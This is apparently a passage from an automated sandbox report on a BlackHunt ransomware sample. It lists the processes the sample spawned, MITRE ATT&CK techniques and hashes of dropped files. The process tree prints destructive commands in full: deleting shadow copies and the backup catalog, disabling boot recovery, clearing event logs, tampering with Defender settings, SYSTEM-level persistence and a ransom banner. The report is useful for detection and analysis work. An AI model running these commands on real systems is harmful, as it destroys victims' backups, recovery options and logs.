  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:844
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2072
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe" /F
  2⤵
  PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Enumerates connected drives
  PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4308
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4316
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1032
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:5020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4344
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4120
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:320
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4140
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2460
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4444
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe"
  2⤵
  - Deletes itself
  PID:4728
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4552
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:5620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4488
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4452
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4820

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2232

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:2528

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2800

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2316

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2528

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1420

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2380

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2412

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2220

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2612

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1280

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe" /F
1⤵
- Creates scheduled task(s)
PID:304

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2552
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1644

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2884

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2972

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1424

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1620

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2872

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2060

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5764

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\MSOCache\#BlackHunt_Private.key

Filesize
1KB

MD5
f32f530120966b72ba0949922ba1ef7d

SHA1
85a8ccfb261187ef8a8132fa4f5deaad9eedff66

SHA256
e384d6eb3fa291a76c9673652bf64ff1e54ab026eaa2304477ba22aa426a703b

SHA512
accbc2ad5d972a78ff32a2f27c2465321bb57470298bc6b45c0cf70e8adcaceb8ab5df71598d02ff8f8a80a16b098baf1aaff5c8d6f8cb1a3d2ff1dafef92362

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
b110662e571d226127bb6b44479fdd25

SHA1
db90dd44f7dce5cf960081983feb60b51880d7fa

SHA256
21a5ea592a3b7e7d188c64c90bc343a070e54421bd07cde78d180353ec995a36

SHA512
7749922ca081743703097c28ebf04703418afe9bc5c74bd00c8eff1812c3a70841c1eb320c1b1b570c0504ae959cb4ce7c3c4fc9cb94df5490fba6417cb458f1

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
eee926b747f8de841d3a5d7ba93f43ed

SHA1
907b1d7068c923e7bbb1bf5e6a1ef6d20accb994

SHA256
891a3896a78a3b14617b072a94d246ed772690495708f1f1078dfe4d8fb6db99

SHA512
0bbb081fe25c6e344e5e4a8d9947e9d54d0965698b7af42cefbf59c6a74539e391613dfb68e4985a5043aedc8659c0b2011da0e4c128d47e31b4eda5fd94a043

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads